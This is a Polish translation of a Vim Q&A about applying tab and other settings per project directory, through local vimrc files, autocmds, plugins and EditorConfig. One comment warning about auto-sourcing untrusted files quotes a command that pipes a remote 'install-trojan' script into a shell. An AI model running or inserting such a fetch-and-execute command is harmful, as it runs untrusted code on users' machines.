Stosowanie ustawień tylko do drzewa katalogów

33

W mojej pracy używamy standardu ts2; moje osobiste preferencje to 4, z czego korzystam w swoich projektach hobbystycznych, a ten inny odziedziczony przez nas projekt ma konwencję ts=8.

Są też inne ustawienia, które chcę ustawić na podstawie projektu (na przykład składanie). Oparcie tych ustawień na typie pliku lub automatyczne wykrywanie ich na podstawie tego, z czego korzysta plik, nie są dobrymi opcjami, ponieważ chcę przestrzegać konwencji każdego projektu.

Czy mogę zmusić Vima do użycia pliku ustawień, który dotyczy projektu (wszystko w drzewie katalogów) bez dodawania modeliny do wszystkich plików?

Martin Tournoij
źródło

Odpowiedzi:

19

Jest na to kilka lekkich sposobów.

  1. Sprawdź plik o podanej nazwie i podaj go

    if filereadable(".vimscript_file")
        so .vimscript_file
    endif
    

    Plik jest ukryty w przykładzie, ale jest to opcjonalne.

  2. .vimrcPliki lokalne (inne niż wtyczka)

    set exrc
    

    Jest to podobne do 1., ale plik nazywa się „.vimrc”.

    Częstą sugestią towarzyszącą temu jest użycie

    set secure
    

    co uniemożliwia .vimrcplikowi wykonywanie potencjalnie niebezpiecznych czynności, takich jak uruchamianie poleceń powłoki. Chodzi o to, że nie chcesz, aby vim czytał .vimrcplik napisany przez kogoś, kto robi coś paskudnego.

  3. Automatyczne polecenia, które sprawdzają bieżącą ścieżkę

    au BufNewFile,BufRead *path-possibly-using-globbing setlocal setting=value
    

    Z tej opcji korzystam. Nie zmieniam wiele między różnymi projektami, więc YMMV, ale jeśli chcesz zrobić jedną lub dwie rzeczy w oparciu o ścieżkę i zachować to w swoim, .vimrcjest to przyjemne i proste.

Praxeolitic
źródło
Zauważ, że opcje 1 i 2 mają takie same ograniczenia opisane w tym komentarzu : nie stosuje się rekurencyjnie do podkatalogów.
15

W tym celu używam localvimrc .

Umieść w .lvimrcswoim projekcie ustawienia projektu, a ustawienia te zastąpią ustawienia w .vimrc.

Domyślnie zostaniesz zapytany, czy chcesz pobrać ten plik, np .:

localvimrc: source /home/martin/code/.lvimrc? ([y]es/[n]o/[a]ll/[q]uit) 

Ma to na celu zapobieganie pozyskiwaniu losowych (niezaufanych) plików vimrc. Jeśli uznasz to za denerwujące, możesz ustawić białą listę .lvimrcplików za pomocą g:localvimrc_whitelist:

let g:localvimrc_whitelist = '/home/martin/code/.lvimrc'

Lub możesz po prostu całkowicie wyłączyć prośbę o potwierdzenie za pomocą set g:localvimrc_ask = 0. Nie jest to jednak zalecane.

OrangeTux
źródło
5

Centralna konfiguracja

Jeśli centralne skonfigurowanie określonych poleceń / lokalnych wyjątków jest w porządku, możesz umieścić takie autocmds w ~/.vimrc:

:autocmd BufRead,BufNewFile /path/to/dir/* setlocal ts=4 sw=4

Ważne jest, aby używać :setlocalzamiast :set, a także :map <buffer> ...i :command! -buffer ....

Z drugiej strony, jeśli chcesz, aby konkretna konfiguracja była przechowywana w projekcie (i nie chcesz osadzać jej we wszystkich plikach za pomocą modelin ), masz dwie następujące opcje:

Lokalna konfiguracja z wbudowanymi funkcjami

Jeśli zawsze uruchamiasz Vima z katalogu głównego projektu, wbudowane

:set exrc

umożliwia odczyt .vimrcpliku z bieżącego katalogu. Możesz tam umieścić :set ts=4 sw=4polecenia.

Lokalna konfiguracja poprzez wtyczkę

W przeciwnym razie potrzebujesz pomocy wtyczki; jest ich kilka na vim.org; Mogę polecić wtyczkę localrc , która pozwala nawet na konfigurację specyficzną dla lokalnego typu pliku.

Pamiętaj, że odczyt konfiguracji z systemu plików ma wpływ na bezpieczeństwo; możesz chcieć :set secure.

Ingo Karkat
źródło
2
Należy pamiętać, że .exrcsą one bardzo ograniczone: pojęcie projektu zatrzymuje się w bieżącym katalogu, tzn. Pliki w podkatalogach nie należą do projektu.
Luc Hermitte
4

Istnieje projekt Editor Config , który pozwala zdefiniować konfiguracje na poziomie projektu, takie jak ustawienia tabstop wraz z nowymi stylami linii i innymi rzeczami. Istnieje wiele wtyczek do różnego rodzaju edytorów, w tym vim . Pozwala także zdefiniować ustawienia dla różnych typów plików.

# EditorConfig is awesome: http://EditorConfig.org

# top-most EditorConfig file
root = true

# Unix-style newlines with a newline ending every file
[*]
end_of_line = lf
insert_final_newline = true

# Matches multiple files with brace expansion notation
# Set default charset
[*.{js,py}]
charset = utf-8

# 4 space indentation
[*.py]
indent_style = space
indent_size = 4

# Tab indentation (no size specified)
[*.js]
indent_style = tab

# Indentation override for all JS under lib directory
[lib/**.js]
indent_style = space
indent_size = 2

# Matches the exact files either package.json or .travis.yml
[{package.json,.travis.yml}]
indent_style = space
indent_size = 2
PetersenDidIt
źródło
0

Napisałem to i dodałem do mojego .vimrc, aby umożliwić mi umieszczanie plików .vimsettings w projektach i podprojektach.

" Search for any .vimsettings files in the path to the file.
" Source them if you find them.
function! ApplyLocalSettings(dirname)
    " Don't try to walk a remote directory tree -- takes too long, too many
    " what if's
    let l:netrwProtocol = strpart(a:dirname, 0, stridx(a:dirname, "://"))
    if l:netrwProtocol != ""
        return
    endif

    " Convert windows paths to unix style (they still work)
    let l:curDir = substitute(a:dirname, "\\", "/", "g")
    let l:parentDir = strpart(l:curDir, 0, strridx(l:curDir, "/"))
    if isdirectory(l:parentDir)
        " Recursively walk to the top of the path
        call ApplyLocalSettings(l:parentDir)
    endif

    " Now walk back down the path and source .vimsettings as you find them. This
    " way child directories can 'inherit' from their parents
    let l:settingsFile = a:dirname . "/.vimsettings"
    if filereadable(l:settingsFile)
        exec ":source " . l:settingsFile
    endif
endfunction
autocmd! BufEnter * call ApplyLocalSettings(expand("<afile>:p:h"))
Kent A.
źródło
Chociaż to działa, można to uznać za niebezpieczne, ponieważ po prostu wyszukujesz plik i wykonujesz wszystkie zawarte w nim polecenia (w tym polecenia powłoki, takie jak system('curl http://example.com/install-trojan.sh | sh')...
Martin Tournoij
0

Chciałem tego, więc wdrożyłem go lokalnie. Nie zależy mi na „wykonywaniu losowego kodu”, ale może to działać na proste potrzeby. W razie potrzeby dostosuj nazwy plików.

let s:this_file = expand("<sfile>")
autocmd BufEnter * call LoadLocalVimrc(expand("<afile>"))

function! LoadLocalVimrc(filename)
    let l:filepath = fnamemodify(a:filename, ':h')
    let l:file = findfile("local.vimrc", l:filepath . ";/")
    if l:file != ''
        execute "source" l:file
        execute "nnoremap <F8> :$tabe " . s:this_file . "<CR>:sp " . l:file . "<CR>"
    endif
endfunction

Jest local.vimrcto w rzeczywistości dowiązanie symboliczne do pliku w mojej znacznej kolekcji plików vimrc dla każdej firmy, które mogę zachować pod kontrolą źródła gdzie indziej, co ułatwia przeniesienie całej konfiguracji na inne maszyny lub jeśli odwiedzę firmę na stronie lub coś takiego . Można użyć konfiguracji kaskadowych, ale w praktyce nie potrzebuję tej funkcji. Podłączam również, F8aby otworzyć znaleziony plik i mój „główny” .vimrcw nowej karcie ...

Wewnątrz tych lokalnych konfiguracji, ponieważ są one analizowane dla każdego otwartego pliku, pamiętaj o ustawieniu mapowań i ustawień na bufor lokalny. Na przykład

nnoremap <buffer> <F3> :silent !p4 edit %<CR>:w!<CR>:e<CR>
nnoremap <buffer> <S-F3> :w<CR>:silent !p4 add %<CR>
nnoremap <buffer> <C-F3> :silent !p4 diff %<CR>
nnoremap <buffer> <S-C-F3> :silent !p4vc timelapse %<CR>

setlocal textwidth=101
setlocal noexpandtab
setlocal shiftwidth=4
setlocal tabstop=4
setlocal cinoptions=:0g0(0l1j0*700s+s
dash-tom-bang
źródło